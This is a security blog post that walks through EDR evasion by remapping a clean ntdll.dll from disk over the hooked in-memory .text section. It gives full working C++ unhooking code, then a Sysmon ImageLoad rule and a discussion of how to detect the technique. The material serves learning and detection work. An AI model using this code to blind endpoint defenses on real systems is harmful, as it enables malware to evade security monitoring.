Unhooking EDR by remapping ntdll.dll
By Remapping ntdll from disk
In this blog, we will dive into another technique that can be used to unhook the ntdll.dll. In the moment that your DLL is hooked by an EDR. We are gonna investigate remapping by loading ntdll from disk. We also gonna validate how this can be noticed by an EDR and by yourself. These techniques are not new. But for me, it is important to uncover the inner workings of older techniques and write down the different steps to get the best understanding.
Introduction
As explained in my previous blogs about Direct Syscalls. An EDR can place a hook on some specific Native Windows functions. A prime example is the ntdll.dll whose functions (NtWriteVirtualMemory, NTAllocateVirtualMemory for example) are the gateway to the kernel.
Instead of bypassing the “infected” ntdll.dll hooks by bypassing the dll completely (by performing a direct syscall), It is also possible to remove the EDR hook completely from the loaded module.
This can be accomplished because of the following. The ntdll.dll which is stored on disk isn’t hooked by itself. The ntdll on disk doesn’t contain the code of the EDR. This code is only injected when an application is started and the ntdll is loaded into the memory of that given process.
So if there is a method to overwrite the “infected” ntdll.dll which is loaded into the malware’s memory with the clean one from disk, the hook could be removed. This could help bypass the EDR if they solely rely on Userland API hooking.
There are a few possible methods to accomplish this. However, we are going to focus on unhooking the ntdll.dll by overwriting the hooked .txt section of the ntdll.dll and replacing it with the clean copy of the .text section of the ntdll.dll from disk.
Based on this information alone. There is already a clear indication that something fishy is going on. Because loading the ntdll twice in the same application is an uncommon practice. But we will later dive deeper into the detection details. Prior before we can dive into the code. I think it is valuable to have a small understanding of PE Headers. Then let us get some code and try to discover the workings.
PE Headers
Let us scrape only the tip of the iceberg. PE stands for Portable Executable, it is a file format for executables used in Windows operating systems.
A PE file is a data structure that holds information necessary for the OS to be able to load that executable into memory and execute it.
Not only .exe
files are PE files, dynamic link libraries (.dll
), Kernel modules (.srv
), Control panel applications (.cpl
) and many others are also PE files.
With a tool called PE-bear it is possible to investigate the the PE headers of a specified application. The headers are always the same. However the sections can differ.
If you analyze the PE headers you would find a magic byte 0x5A4D. Indicating the start of the DOS Header. The last part of that header contains something valuable: e_lfanew. This indicates the starting location of the NT headers. This is important information. Because this will also be used in the code to retrieve the sections information of the clean ntdll.
One of the sections of the PE file structure is the .text section. This is especially important for us because the .text contains the executable code of the program.
If we look at the .text file of our NativeWinApi code we see that indeed the code is stored from the Kernel32.dll to get the address of the NtAllocateVirtualMemory function in the ntdll.dll.
In this .text section, the hook of the EDR will also be located.
Unhooking by Remapping ntdll.dll from disk.
Let us finally look into the code. This is some code I retrieved from ired.team (great website). I rewrote some parts, to make it clearer for myself and added lots of comments. I will not go over everything (the comments clarify a lot) however on some parts I want to dig deeper.
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
int main()
{
HANDLE process = GetCurrentProcess();
MODULEINFO moduleInfo = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
LPVOID startingPageAdress = NULL;
SIZE_T sizeOfTheRegion = NULL;
//The function retrieves information about an dll. This information is then stored in a ModuleInfo structure
//It retrieves information like base adress (what we need) size, entry point and other details.
GetModuleInformation(process, ntdllModule, &moduleInfo, sizeof(moduleInfo));
//The base adress of the currently loaded and possibly hooked dll is loaded.
LPVOID ntdllBase = (LPVOID)moduleInfo.lpBaseOfDll;
// A handle is created ot the ntdll.dll file at the default system32 location (any DLL can ofcourse be used)
//It is opened with GENERIC_READ which allows the process to read from the fil. The FILE_SHARE_READ flag indicates
//That other processes can open the file for reading while it is already open in the current process.
//Open_Existing flag specifies that the function should only succeed if the file already exists.
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// a file mapping is created which allows a file to be mapped into the virtual adress space of a process.
//Making it possible for this process to access the files content directly as if it where loaded into memory.
// Important because we need to access the memory location. Thhe Page_ReadonlY | SEC_Image indicates that the files
// is read only by the process and that the file is an executable image file.
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
// this allows a process to access the contents of the dll module as if it were already loaded into the process
// memory spaces. It is again mapped as read only.
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
//This points to the PE headers. and specifily to the IMAGE_DOS_HEADER a structure defined for executable.
PIMAGE_DOS_HEADER dosHeaderOfHookedDll = (PIMAGE_DOS_HEADER)ntdllBase;
//This points to the PE headers and specificly to the NT_Header of the pe structure. it retrieves
//the Relative virtual memory from the previous retrieved DOS header. the e_lfanew field in the IMAGE_DOS_HEADER
//contains the RVA of the NT headers relative to the beginning of the DOS header.
PIMAGE_NT_HEADERS ntHeaderOfHookedDll = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeaderOfHookedDll->e_lfanew);
//Loop through each section of the PE header. Great information can be read about it on https://0xrick.github.io/win-internals/
for (WORD i = 0; i < ntHeaderOfHookedDll->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(ntHeaderOfHookedDll) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
//The PE header is looped till it finds the .text section. This holds the executable code in the image.
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
startingPageAdress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
sizeOfTheRegion = hookedSectionHeader->Misc.VirtualSize;
//When found we change the permission of that memory location so that we can write to it.
//As shown with the Page_execute Read Write.
bool isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, PAGE_EXECUTE_READWRITE, &oldProtection);
//We copy here to contents of the .text section of the clean "uninfected" ntdll.dll and copy it over the
//Infected version already loaded in memory.
memcpy(startingPageAdress, (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
//Afterwards change permissions again from that specific memory adress to the old format.
//PAGE_EXECUTE_READWRITE is a clear No No.
isProtected = VirtualProtect(startingPageAdress,sizeOfTheRegion, oldProtection, &oldProtection);
}
}
//Cleanup of the created handles and memory.
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
The following piece of code is the reason why I wanted to take some time and explain the tip of the iceberg about PE headers.
//This points to the PE headers. and specifily to the IMAGE_DOS_HEADER a structure defined for executable.
PIMAGE_DOS_HEADER dosHeaderOfHookedDll = (PIMAGE_DOS_HEADER)ntdllBase;
//This points to the PE headers and specificly to the NT_Header of the pe structure. it retrieves
//the Relative virtual memory from the previous retrieved DOS header. the e_lfanew field in the IMAGE_DOS_HEADER
//contains the RVA of the NT headers relative to the beginning of the DOS header.
PIMAGE_NT_HEADERS ntHeaderOfHookedDll = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeaderOfHookedDll->e_lfanew);
//Loop through each section of the PE header. Great information can be read about it on https://0xrick.github.io/win-internals/
for (WORD i = 0; i < ntHeaderOfHookedDll->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(ntHeaderOfHookedDll) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
//The PE header is looped till it finds the .text section. This holds the executable code in the image.
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
Here as explained the DOS header is retrieved from the hooked ntdll. (So the ntdll which is loaded when the malware starts and which will be hooked by an EDR)
It retrieves the DOS headers because that is the only method to determine the address of the NTHeaders of the PE file. Remember that that could be determined from the e_lfanew part that is located in the DosHeader. Which indicates the relative address of where the NTHeader would start.
From there the different sections will be looped through. As shown in the NativeWindowsApi executable there are multiple sections. However, the executable content is located in the .text header. Therefore we want to go into the if statement if the section header equals the .text header name.
startingPageAdress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
sizeOfTheRegion = hookedSectionHeader->Misc.VirtualSize;
//When found we change the permission of that memory location so that we can write to it.
//As shown with the Page_execute Read Write.
bool isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, PAGE_EXECUTE_READWRITE, &oldProtection);
//We copy here to contents of the .text section of the clean "uninfected" ntdll.dll and copy it over the
//Infected version already loaded in memory.
memcpy(startingPageAdress, (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
//Afterwards change permissions again from that specific memory adress to the old format.
//PAGE_EXECUTE_READWRITE is a clear No No.
isProtected = VirtualProtect(startingPageAdress,sizeOfTheRegion, oldProtection, &oldProtection);
From there the starting page address is retrieved and the size. And VirtualProtect function is called. This is performed to change the permission for those committed pages in the virtual address space. In this case, we give the pages execute Read write rights. Which isn’t the normal setting.
After copying the data over that address space the permissions are reset again using VirtualProtect function.
We now have overwritten the virtual address space of the “infected” ntdll with the clean ntdll. However, it must be stated that this is a malicious action and in this day and age an adversary EDR will catch this.
Detection
This ntdll remapping can easily be detected. This is because the ntdll.dll will be loaded twice in the same application. (or Image in sysmon). Loading ntdll.dll twice isn’t something common and therefore a clear indication that something fishy is going on.
Sysmon event 7 is responsible for logging the loading of DLL’s. Therefore this could result in lots of load. Limiting the amount of DLL’s that are analyzed is therefore key to performing proper analysis and not getting swarmed by not useful information. However, therefore it is key to know what DDL’s are known to be tampered with.
For this test, I used the following config. I compiled the above code and called it DLLRemapping. Therefore the image condition is equal to DDLRemapping.exe to limit the amount of data.
<RuleGroup name="" groupRelation="or">
<ImageLoad onmatch="include">
<Image condition="image">DLLRemapping.exe</Image>
<ImageLoaded condition="end with">ntdll.dll</ImageLoaded>
<!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
</ImageLoad>
Conclusion
This technique was a good reason for me to dive into PE files. If you want to know more about that I would recommend rick’s explanation .
It also showed me to download Sysmon and start analyzing the logs more. Probably will have to look into EQL as well if I want to take this to another level.
It is interesting how many techniques are there. I already described a part of Direct Syscalls. These blog series can be found here:
There are also two other techniques that I will probably discuss in the future: One is blocking non-Microsoft DLL’s altogether. Which would make it impossible for non-signed Microsoft DLL’s to be loaded into your application.
Another method is Unhooking ntdll.dll by making use of a suspended program. The plus side is that it doesn’t load the ntdll.dll two times from disk. Which will be less noisy!
Lots of ground to cover!
Happy testing!
If you want to discuss anything related to infosec I’m on LinkedIn: https://www.linkedin.com/in/bobvanderstaak/
Resources:
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
Evading EDR: The Definitive Guide to Defeating Endpoint Detection Systems